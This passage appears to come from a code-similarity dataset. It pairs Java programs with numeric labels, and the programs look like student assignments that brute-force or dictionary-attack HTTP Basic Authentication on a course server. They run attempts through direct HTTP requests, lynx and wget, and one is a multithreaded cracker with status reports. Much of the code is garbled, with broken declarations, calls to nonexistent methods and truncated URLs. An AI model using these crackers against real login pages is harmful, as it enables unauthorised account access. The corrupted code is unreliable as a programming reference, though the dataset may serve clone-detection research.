System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
234.java | 161.java | 0 | import java.io.*;
import java.*;
import java.net.*;
public class Dictionary
{
public static void main (String[] args) throws Exception
{
System.out.println("Congratulations Your password is "+ checkPassword() );
}
private static String checkPassword() throws Exception
{
FileReader fRead;
BufferedReader buf1, buf2;
String password=" ";
try
{
fRead= new FileReader("/usr/share/lib/dict/words");
buf1 = new BufferedReader(fRead);
buf2 = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));
password= fileRead(buf1, buf2);
System.out.println("Password is loop2 CheckPassword:"+password);
return password;
}
catch (FileNotFoundException e)
{
System.err.println("File not found:"+e.getMessage());
System.exit(1);
}
catch (IOException ioe)
{
System.err.println("IOE error: "+ioe.getMessage());
System.exit(1);
}
return password;
}
private static String fileRead(BufferedReader buf1, BufferedReader buf2) throws Exception
{
String password = " ";
String password1=" ";
String passwd = null;
int countLength1=0;
int countLength2=0;
int countLength3=0;
while ((password = buf1.readLine()) != null)
{
if (password.length()<= 3)
{
if (password.length()==1)
{
countLength1++;
}
else if (password.length()==2)
{
countLength2++;
}
else
{
countLength3++;
}
}
}
System.out.println(countLength1+" "+countLength2+" "+countLength3);
String[] wordSize1=new String[countLength1];
String[] wordSize2=new String[countLength2];
String[] wordSize3=new String[countLength3];
int a=0; int b=0; int c=0;
while ((password1 = buf2.readLine()) != null)
{
if (password1.length()<= 3)
{
if (password1.length()==1)
{
wordSize1[a++]=password1;
}
else if (password1.length()==2)
{
wordSize2[b++]=password1;
}
else
{
wordSize3[c++]=password1;
}
}
}
passwd = getPasswordRuns4(wordSize3);
if (passwd==null)
{
passwd = getPasswordRuns3(wordSize1,wordSize2);
if (passwd==null)
{
passwd = getPasswordRuns2(wordSize1,wordSize2);
if(passwd==null)
{
passwd = getPasswordRuns1(wordSize1);
}
}
}
return passwd;
}
private static String getPasswordRuns2(String[] wordSize1,String[] wordSize2) throws Exception
{
URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
HttpURLConnection sec;
String password=" ";
String passwd=" ";
for (int i=0; i< wordSize1.length; i++)
{
for (int j=0; j< wordSize2.length; j++)
{
String userPasswd= ":"+wordSize1[i]+wordSize2[j];
System.out.println(userPasswd);
sec = (HttpURLConnection)url.openConnection();
sec.setRequestProperty("Authorization", " " + encode(userPasswd));
if (sec.getHeaderField(0).equals("HTTP/1.1 200 OK"))
{
passwd=password;
return passwd;
}
sec.disconnect();
}
}
return null;
}
private static String getPasswordRuns3(String[] wordSize1,String[] wordSize2) throws Exception
{
URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
HttpURLConnection sec;
String password=" ";
String passwd=null;
for (int i=0; i< wordSize2.length; i++)
{
for (int j=0; j< wordSize1.length; j++)
{
password= wordSize2[i]+wordSize1[j];
String userPasswd= ":"+password;
sec = (HttpURLConnection)url.openConnection();
sec.setRequestProperty("Authorization", " " + encode(userPasswd));
if (sec.getHeaderField(0).equals("HTTP/1.1 200 OK"))
{
passwd=password;
return passwd;
}
sec.disconnect();
}
}
return null;
}
private static String getPasswordRuns4(String[] wordSize3) throws Exception
{
int attempt=0;
URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
HttpURLConnection sec;
String password=" ";
String passwd=null;
for (int i=0; i< wordSize3.length; i++)
{
attempt++;
password= wordSize3[i];
String userPasswd= ":"+password;
System.out.println(attempt+" "+userPasswd);
sec = (HttpURLConnection)url.openConnection();
sec.setRequestProperty("Authorization", " " + encode(userPasswd));
if (sec.getHeaderField(0).equals("HTTP/1.1 200 OK"))
{
passwd=password;
return passwd;
}
sec.disconnect();
}
return "Password not found";
}
private static String getPasswordRuns1(String[] wordSize1) throws Exception
{
URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
HttpURLConnection sec;
String password=" ";
String passwd=null;
for (int i=0; i< wordSize1.length; i++)
{
for (int j=0; j< wordSize1.length; j++)
{
for (int k=0; k< wordSize1.length; k++)
{
password= wordSize1[i]+wordSize1[j]+wordSize1[k];
String userPasswd= ":"+password;
System.out.println(userPasswd);
sec = (HttpURLConnection)url.openConnection();
sec.setRequestProperty("Authorization", " " + encode(userPasswd));
if (sec.getHeaderField(0).equals("HTTP/1.1 200 OK"))
{
passwd=password;
System.out.println("Password is loop1 readfile:"+password);
return passwd;
}
sec.disconnect();
}
}
}
return passwd;
}
private static String encode(String userPasswd) throws Exception
{
String ;
String encodedUserPasswd=" ";
String addr= "~//base64_encode.php "+userPasswd ;
Process p = Runtime.getRuntime().exec(new String[]{"/usr/local//bash","-c", addr});
BufferedReader resp = new BufferedReader(new InputStreamReader(p.getInputStream()));
while ( (bf = resp.readLine()) != null )
{
encodedUserPasswd=bf.get;
}
return encodedUserPasswd;
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
064.java | 161.java | 0 |
import java.util.*;
import java.*;
import java.awt.*;
import java.net.*;
import java.io.*;
import java.text.*;
public class Dictionary {
public static String Base64Encode(String s) {
byte[] bb = s.getBytes();
byte[] b = bb;
char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
'0','1','2','3','4','5','6','7','8','9','+','/' };
if (bb.length % 3!=0) {
int x1 = bb.length;
b = new byte[(x1/3+1)*3];
int x2 = b.length;
for(int i=0;i<x1;i++)
b[i] = bb[i];
for(int i=x1;i<x2;i++)
b[i] = 0;
}
char[] c = new char[b.length/3*4];
int i=0, j=0;
while (i+3<=b.length) {
c[j] = table[(b[i] >> 2)];
c[j+1] = table[(b[i+1] >> 4) | ((b[i] & 3) << 4)];
c[j+2] = table[(b[i+2] >> 6) | ((b[i+1] & 15) << 2)];
c[j+3] = table[(b[i+2] & 63)];
i+=3;
j+=4;
}
j = c.length-1;
while (c[j]=='A') {
c[j]='=';
j--;
}
return String.valueOf(c);
}
public synchronized void getAccumulatedLocalAttempt() {
attempt = 0;
for (int i=0;i<MAXTHREAD;i++) {
attempt += threads[i].getLocalAttempt();
}
}
public synchronized void printStatusReport(String Attempt, String currprogress,String ovrl, double[] attmArr, int idx) {
DecimalFormat fmt = new DecimalFormat();
fmt.applyPattern("0.00");
System.out.println();
System.out.println(" ------------------------ [ CURRENT STATISTICS ] ---------------------------");
System.out.println();
System.out.println(" Current connections : "+curconn);
System.out.println(" Current progress : "+attempt+ " of "+ALLCOMBI+" ("+currprogress+"%)");
System.out.println(" Overall Attempts rate : "+ovrl+" attempts second (approx.)");
System.out.println();
System.out.println(" ---------------------------------------------------------------------------");
System.out.println();
}
public class MyTT extends TimerTask {
public synchronized void run() {
if (count==REPORT_INTERVAL) {
DecimalFormat fmt = new DecimalFormat();
fmt.applyPattern("0.00");
getAccumulatedLocalAttempt();
double p = (double)attempt/(double)ALLCOMBI*100;
double aps = (double) (attempt - attm) / REPORT_INTERVAL;
attmArr[attmArrIdx++] = aps;
printStatusReport(String.valueOf(attempt),fmt.format(p),fmt.format(getOverallAttemptPerSec()),attmArr,attmArrIdx);
count = 0;
} else
if (count==0) {
getAccumulatedLocalAttempt();
attm = attempt;
count++;
} else {
count++;
}
}
public synchronized double getOverallAttemptPerSec() {
double val = 0;
if (attmArrIdx==0) {
return attmArrIdx;
} else {
for (int i=0;i<attmArrIdx;i++) {
val+= attmArr[i];
}
return val / attmArrIdx;
}
}
private int count = 0;
private int attm;
private int attmArrIdx = 0;
private double[] attmArr = new double[2*60*60/10];
}
public synchronized void interruptAll(int ID) {
for (int i=0;i<MAXTHREAD;i++) {
if ((threads[i].isAlive()) && (i!=ID)) {
threads[i].interrupt();
}
notifyAll();
}
}
public synchronized void setSuccess(int ID, String p) {
passw = p;
success = ID;
notifyAll();
interruptAll(ID);
end = System.currentTimeMillis();
}
public synchronized boolean isSuccess() {
return (success>=0);
}
public synchronized void waitUntilAllTerminated() {
while (curconn>0) {
try {
wait();
} catch (InterruptedException e) {}
}
}
public synchronized int waitUntilOK2Connect() {
boolean interruptd= false;
int idx = -1;
while (curconn>=MAXCONN) {
try {
wait();
} catch (InterruptedException e) { interruptd = true; }
}
if (!interruptd) {
curconn++;
for (idx=0;idx<MAXCONN;idx++)
if (!connused[idx]) {
connused[idx] = true;
break;
}
notifyAll();
}
return idx;
}
public synchronized void decreaseConn(int idx) {
curconn--;
connused[idx] = false;
notifyAll();
}
public String[] fetchWords( int idx,int n) {
String[] result = new String[n];
try {
BufferedReader b = new BufferedReader(new FileReader(TEMPDICT));
for (int i=0;i<idx;i++) { b.readLine(); }
for (int i=0;i<n;i++) {
result[i] = b.readLine();
}
b.print();
} catch (FileNotFoundException e) {
System.out.println(e);
System.exit(0);
} catch (IOException e) {}
return result;
}
public String fetchWord( int idx) {
String result = null;
try {
BufferedReader b = new BufferedReader(new FileReader(TEMPDICT));
for (int i=0;i<idx;i++) { b.readLine(); }
result = b.readLine();
b.print();
} catch (FileNotFoundException e) {
System.out.println(e);
System.exit(0);
} catch (IOException e) {}
return result;
}
public static void readThroughDictionary() {
try {
BufferedReader b = new BufferedReader(new FileReader(DICTIONARY));
PrintWriter w = new PrintWriter(new BufferedWriter(new FileWriter(TEMPDICT)));
String s;
ALLCOMBI = 0;
while ((s=b.readLine())!=null) {
if ((s.length()>=MINCHAR) && (s.length()<=MAXCHAR)) {
w.println(s);
ALLCOMBI++;
}
}
b.print();
w.print();
} catch (FileNotFoundException e) {
System.out.println("Unable open the DICTIONARY file '"+DICTIONARY+"'");
System.exit(0);
} catch (IOException e) {
System.out.println("Error in the DICTIONARY file '"+DICTIONARY+"'");
System.exit(0);
}
}
public class ThCrack extends Thread {
public ThCrack(int threadID, int startidx, int endidx) {
super(" Thread #"+String.valueOf(threadID)+": ");
this.ID = threadID;
this.startidx = startidx;
this.endidx = endidx;
if (endidx>=startidx+MAXCACHE-1) {
this.localDict = new String[MAXCACHE];
this.localDict = fetchWords(startidx,MAXCACHE);
lastFetchIdx = startidx+MAXCACHE-1;
} else {
this.localDict = new String[(int)(endidx-startidx+1)];
this.localDict = fetchWords(startidx,(int)(endidx-startidx+1));
lastFetchIdx = endidx;
}
setDaemon(true);
}
public boolean launchRequest(String ID, int connID,String thePass) throws IOException, InterruptedException {
int i;
String msg;
URL tryURL = new URL(THEURL);
connections[connID]=(HttpURLConnection) tryURL.openConnection();
connections[connID].setRequestProperty("Authorization"," "+Base64Encode(USERNAME+":"+thePass));
i = connections[connID].getResponseCode();
msg = connections[connID].getResponseMessage();
connections[connID].disconnect();
if (i==HttpURLConnection.HTTP_OK) {
System.out.println(ID+"Trying '"+thePass+"' GOTCHA !!! (= "+String.valueOf()+"-"+msg+").");
setSuccess(this.ID,thePass);
return (true);
} else {
System.out.println(ID+"Trying '"+thePass+"' FAILED (= "+String.valueOf()+"-"+msg+").");
return (false);
}
}
public void rest(int msec) {
try { sleep(msec); } catch (InterruptedException e) {}
}
public String getCacheIdx(int idx) {
if (idx<=lastFetchIdx) {
return localDict[localDict.length-(int)(lastFetchIdx-idx)-1];
} else {
if (lastFetchIdx+localDict.length-1>endidx) {
this.localDict = fetchWords(lastFetchIdx+1,(int)(endidx-lastFetchIdx-1));
lastFetchIdx = endidx;
} else {
this.localDict = fetchWords(lastFetchIdx+1,localDict.length);
lastFetchIdx = lastFetchIdx+localDict.length;
}
return localDict[localDict.length-(int)(lastFetchIdx-idx)-1];
}
}
public String constructPassword(int idx) {
return getCacheIdx(idx);
}
public String getStartStr() {
return fetchWord(this.startidx);
}
public String getEndStr() {
return fetchWord(this.endidx);
}
public void run() {
i = startidx;
boolean keeprunning = true;
while ((!isSuccess()) && (i<=endidx) && (keeprunning)) {
int idx = waitUntilOK2Connect();
if (idx==-1) {
break;
}
try {
String s = constructPassword(i);
if ((s.length()>=MINCHAR) && (s.length()<=MAXCHAR))
launchRequest(getName(), idx, s);
else
System.out.println(getName()+"skipping '"+s+"'");
decreaseConn(idx);
localattempt++;
rest(MAXCONN);
i++;
} catch (InterruptedException e) {
keeprunning = false;
break;
} catch (IOException e) {
decreaseConn(idx);
}
}
if (success==this.ID) {
waitUntilAllTerminated();
}
}
public int getLocalAttempt() {
return localattempt;
}
private int startidx,endidx;
private int ID;
private int localattempt = 0;
private String localDict[];
private int lastFetchIdx;
}
public void printProgramHeader(String mode,int nThread) {
System.out.println();
System.out.println(" ********************** [ DICTIONARY CRACKING SYSTEM ] *********************");
System.out.println();
System.out.println(" URL : "+THEURL);
System.out.println(" Crack Mode : "+mode);
System.out.println(" . Char : "+MINCHAR);
System.out.println(" . Char : "+MAXCHAR);
System.out.println(" # of Thread : "+nThread);
System.out.println(" Connections : "+MAXCONN);
System.out.println(" All Combi. : "+ALLCOMBI);
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
}
public void startNaiveCracking() {
MAXTHREAD = 1;
MAXCONN = 1;
startDistCracking();
}
public void startDistCracking() {
int startidx,endidx;
int thcount;
if (isenhanced) {
printProgramHeader("ENHANCED DICTIONARY CRACKING ALGORITHM",MAXTHREAD);
} else {
printProgramHeader("NAIVE DICTIONARY CRACKING ALGORITHM",MAXTHREAD);
}
if (MAXTHREAD>ALLCOMBI) { MAXTHREAD = (int) (ALLCOMBI); }
mult = (ALLCOMBI) / MAXTHREAD;
i = System.currentTimeMillis();
for (thcount=0;thcount<MAXTHREAD-1;thcount++) {
startidx = thcount*mult;
endidx = (thcount+1)*mult-1;
threads[thcount] = new ThCrack(thcount, startidx, endidx);
System.out.println(threads[thcount].getName()+" try crack from '"+threads[thcount].getStartStr()+"' '"+threads[thcount].getEndStr()+"'");
}
startidx = (MAXTHREAD-1)*mult;
endidx = ALLCOMBI-1;
threads[MAXTHREAD-1] = new ThCrack(MAXTHREAD-1, startidx, endidx);
System.out.println(threads[MAXTHREAD-1].getName()+" try crack from '"+threads[MAXTHREAD-1].getStartStr()+"' '"+threads[MAXTHREAD-1].getEndStr()+"'");
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
for (int i=0;i<MAXTHREAD;i++)
threads[i].print();
}
public Dictionary() {
if (isenhanced) {
startDistCracking();
} else {
startNaiveCracking();
}
reportTimer = new java.util.Timer();
MyTT tt = new MyTT();
reportTimer.schedule(tt,0,1000);
while ((success==-1) && (attempt<ALLCOMBI)) {
try { Thread.sleep(100); getAccumulatedLocalAttempt(); } catch (InterruptedException e) { }
}
if (success==-1) {
end = System.currentTimeMillis();
}
getAccumulatedLocalAttempt();
double ovAps = tt.getOverallAttemptPerSec();
DecimalFormat fmt = new DecimalFormat();
fmt.applyPattern("0.00");
reportTimer.cancel();
try { Thread.sleep(1000); } catch (InterruptedException e) { }
synchronized (this) {
if (success>=0) {
System.out.println();
System.out.println(" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************");
System.out.println();
System.out.println(" The password is : "+passw);
System.out.println(" Number of attempts : "+attempt+" of "+ALLCOMBI+" total combinations");
System.out.println(" Attempt position : "+fmt.format((double)attempt/(double)ALLCOMBI*100)+"%");
System.out.println(" Overal attempt rate : "+fmt.format(ovAps)+ " attempts/sec");
System.out.println(" Cracking time : "+String.valueOf(((double)end-(double)d)/1000) + " seconds");
System.out.println(" Worstcase time estd : "+fmt.format(1/ovAps*ALLCOMBI)+ " seconds");
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
} else {
System.out.println();
System.out.println(" ********************* [ UNABLE CRACK THE URL !!! ] *********************");
System.out.println();
System.out.println(" Number of attempts : "+attempt+" of "+ALLCOMBI+" total combinations");
System.out.println(" Attempt position : "+fmt.format((double)attempt/(double)ALLCOMBI*100)+"%");
System.out.println(" Overal attempt rate : "+fmt.format(ovAps)+ " attempts/sec");
System.out.println(" Cracking time : "+String.valueOf(((double)end-(double)d)/1000) + " seconds");
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
}
}
}
public static void printSyntax() {
System.out.println();
System.out.println("Syntax : Dictionary [mode] [URL] [] [] [username]");
System.out.println();
System.out.println(" mode : (opt) 0 - NAIVE Dictionary mode");
System.out.println(" (trying from the first the last combinations)");
System.out.println(" 1 - ENHANCED Dictionary mode");
System.out.println(" (dividing cracking jobs multiple threads) (default)");
System.out.println(" URL : (opt) the URL crack ");
System.out.println(" (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)");
System.out.println(" , : (optional) range of characters applied in the cracking");
System.out.println(" where 1 <= <= 255 (default = 1)");
System.out.println(" <= <= 255 (default = 3)");
System.out.println(" username : (optional) the username that is used crack");
System.out.println();
System.out.println(" NOTE: The optional parameters '','', and 'username'");
System.out.println(" have specified altogether none at all.");
System.out.println(" For example, if [] is specified, then [], and [username]");
System.out.println(" have specified as well. If none of them specified,");
System.out.println(" default values used.");
System.out.println();
System.out.println(" Example of invocation :");
System.out.println(" java Dictionary ");
System.out.println(" java Dictionary 0");
System.out.println(" java Dictionary 1 http://localhost/tryme.php");
System.out.println(" java Dictionary 0 http://localhost/tryme.php 1 3 ");
System.out.println(" java Dictionary 1 http://localhost/tryme.php 1 10 ");
System.out.println();
System.out.println();
}
public static void paramCheck(String[] args) {
int argc = args.length;
try {
switch (Integer.valueOf(args[0]).intValue()) {
case 0: {
isenhanced = false;
} break;
case 1: {
isenhanced = true;
} break;
default:
System.out.println("Syntax error : invalid mode '"+args[0]+"'");
printSyntax();
System.exit(1);
}
} catch (NumberFormatException e) {
System.out.println("Syntax error : invalid number '"+args[0]+"'");
printSyntax();
System.exit(1);
}
if (argc>1) {
try {
URL u = new URL(args[1]);
try {
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
switch (conn.getResponseCode()) {
case HttpURLConnection.HTTP_ACCEPTED:
case HttpURLConnection.HTTP_OK:
case HttpURLConnection.HTTP_NOT_AUTHORITATIVE:
case HttpURLConnection.HTTP_FORBIDDEN:
case HttpURLConnection.HTTP_UNAUTHORIZED:
break;
default:
System.out.println("Unable open connection the URL '"+args[1]+"'");
System.exit(1);
}
} catch (IOException e) {
System.out.println(e);
System.exit(1);
}
THEURL = args[1];
} catch (MalformedURLException e) {
System.out.println("Invalid URL '"+args[1]+"'");
printSyntax();
System.exit(1);
}
}
if (argc==5) {
try {
MINCHAR = Integer.valueOf(args[2]).intValue();
} catch (NumberFormatException e) {
System.out.println("Invalid range number value '"+args[2]+"'");
printSyntax();
System.exit(1);
}
try {
MAXCHAR = Integer.valueOf(args[3]).intValue();
} catch (NumberFormatException e) {
System.out.println("Invalid range number value '"+args[3]+"'");
printSyntax();
System.exit(1);
}
if ((MINCHAR<1) || (MINCHAR>255)) {
System.out.println("Invalid range number value '"+args[2]+"' (must between 0 and 255)");
printSyntax();
System.exit(1);
} else
if (MINCHAR>MAXCHAR) {
System.out.println("Invalid range number value '"+args[2]+"' (must lower than the value)");
printSyntax();
System.exit(1);
}
if (MAXCHAR>255) {
System.out.println("Invalid range number value '"+args[3]+"' (must between value and 255)");
printSyntax();
System.exit(1);
}
USERNAME = args[4];
} else
if ((argc>2) && (argc<5)) {
System.out.println("Please specify the [], [], and [username] altogether none at all");
printSyntax();
System.exit(1);
} else
if ((argc>2) && (argc>5)) {
System.out.println("The number of parameters expected is not more than 5. ");
System.out.println(" have specified more than 5 parameters.");
printSyntax();
System.exit(1);
}
}
public static void main(String[] args) {
MINCHAR = 1;
MAXCHAR = 3;
if (args.length==0) {
args = new String[5];
args[0] = String.valueOf(1);
args[1] = THEURL;
args[2] = String.valueOf(MINCHAR);
args[3] = String.valueOf(MAXCHAR);
args[4] = USERNAME;
}
paramCheck(args);
readThroughDictionary();
Application = new Dictionary();
}
public static Dictionary Application;
public static String THEURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
public static String DICTIONARY = System.getProperty("user.dir")+"/words";
public static String TEMPDICT = System.getProperty("user.dir")+"/~words";
public static boolean isenhanced;
public static String passw = "";
public static final int REPORT_INTERVAL = 1;
public static int MAXTHREAD = 50;
public static int MAXCONN = 50;
public static int curconn = 0;
public static int success = -1;
public static String USERNAME = "";
public static int MINCHAR;
public static int MAXCHAR;
public static int ALLCOMBI;
public static int start ,end;
public static int MAXCACHE = 100;
public static java.util.Timer reportTimer;
public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN];
public static boolean connused[] = new boolean[MAXCONN];
public ThCrack[] threads = new ThCrack[MAXTHREAD];
public static int attempt = 0;
public static int idxLimit;
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
025.java | 161.java | 0 |
import java.net.*;
import java.*;
import java.io.*;
import java.util.GregorianCalendar;
public class BruteForce
{
private char passwd_Array []={'a','b','c','d','e','f','g','h','i','j','k',
'l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B',
'C','D','E','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V',
'W','X','Y','Z','0','1','2','3','4','5','6','7','8','9','\'','.','&'};
private int num=1;
public void crackAddress() throws Exception
{
String line,username="",passwd;
int flag=0;
Runtime run = Runtime.getRuntime();
GregorianCalendar =new GregorianCalendar();
for(int k=0;k<passwd_Array.length;k++)
{
for(int j=0;j<passwd_Array.length;j++)
{
for(int i=0;i<passwd_Array.length;i++)
{
passwd =(new StringBuffer().append(passwd_Array[i]).append(passwd_Array[j]).append(passwd_Array[k])).toString();
System.out.println("Check with word:"+passwd.trim());
String command_line = "lynx http://sec-crack.cs.rmit.edu./SEC/2/ -auth="+username+":"+passwd.trim()+" -dump";
Process result = run.exec(command_line);
BufferedReader bf = new BufferedReader(new InputStreamReader(result.getInputStream()));
while((line=bf.readLine())!=null)
{
flag=1;
break;
}
if(flag==1)
{
System.out.println("The username is: "+username+" The password is: "+passwd);
break;
}
}
if(flag==1)
break;
}
if(flag==1)
break;
}
if(flag==0)
{
for(int i=0;i<passwd_Array.length;i++)
{
for(int j=0;j<passwd_Array.length;j++)
{
passwd =(new StringBuffer().append(passwd_Array[i]).append(passwd_Array[j])).toString();
System.out.println("Check with word:"+passwd);
String command_line = "lynx http://sec-crack.cs.rmit.edu./SEC/2/ -auth="+username+":"+passwd+" -dump";
Process result = run.exec(command_line);
BufferedReader bf = new BufferedReader(new InputStreamReader(result.getInputStream()));
while((line=bf.readLine())!=null)
{
flag=1;
break;
}
if(flag==1)
{
System.out.println("The username is: "+username+" The password is: "+passwd);
break;
}
}
if(flag==1)
break;
}
if(flag==0)
{
for(int j=0;j<passwd_Array.length;j++)
{
passwd =(new StringBuffer().append(passwd_Array[j])).toString();
System.out.println("Check with word:"+passwd);
String command_line = "lynx http://sec-crack.cs.rmit.edu./SEC/2/ -auth="+username+":"+passwd+" -dump";
Process result = run.exec(command_line);
BufferedReader bf = new BufferedReader(new InputStreamReader(result.getInputStream()));
while((line=bf.readLine())!=null)
{
flag=1;
break;
}
if(flag==1)
{
System.out.println("The username is: "+username+" The password is: "+passwd);
break;
}
}
}
}
GregorianCalendar end=new GregorianCalendar();
double time = (double)(end.getTimeInMillis()-System.getTimeInMillis())/1e3;
System.out.println("The attack use"+time+" seconds.");
}
public static void main(String args[]) throws Exception
{
BruteForce bf = new BruteForce();
bf.crackAddress();
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
008.java | 161.java | 0 |
import java.io.*;
import java.*;
public class BruteForce
{
public static void main(String args[])
{
String s = null;
String basic_url = "http://sec-crack.cs.rmit.edu./SEC/2/";
String alphabets = new String("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
String password = null;
int len = 0;
int num_tries = 0;
len = alphabets.length();
for (int i=0; i<len; i++)
{
for (int j=0; j<len; j++)
{
for (int k=0; k<len; k++)
{
try
{
password = String.valueOf(alphabets.charAt(i)) + String.valueOf(alphabets.charAt(j)) + String.valueOf(alphabets.charAt(k));
System.out.print(alphabets.charAt(i));
System.out.print(alphabets.charAt(j));
System.out.println(alphabets.charAt(k));
Process p = Runtime.getRuntime().exec("wget --http-user= --http-passwd=" + password + " " + basic_url);
BufferedReader stdInput = new BufferedReader(new
InputStreamReader(p.getInputStream()));
BufferedReader stdError = new BufferedReader(new
InputStreamReader(p.getErrorStream()));
while ((s = stdInput.readLine()) != null)
{
System.out.println(s);
}
while ((s = stdError.readLine()) != null)
{
System.out.println(s);
}
try
{
p.waitFor();
}
catch (InterruptedException g)
{
}
num_tries++;
if((p.exitValue()) == 0)
{
System.out.println("**********PASSWORD IS: " + password);
System.out.println("**********NUMBER OF TRIES: " + num_tries);
System.exit(1);
}
}
catch (IOException e)
{
System.out.println("exception happened - here's what I know: ");
e.printStackTrace();
System.exit(-1);
}
}
}
}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
175.java | 161.java | 0 | import java.io.*;
import java.net.*;
import java.util.*;
public class BruteForce
{
public static void main(String args[])
{
Calendar cal = Calendar.getInstance();
Date now=cal.getTime();
double startTime = now.getTime();
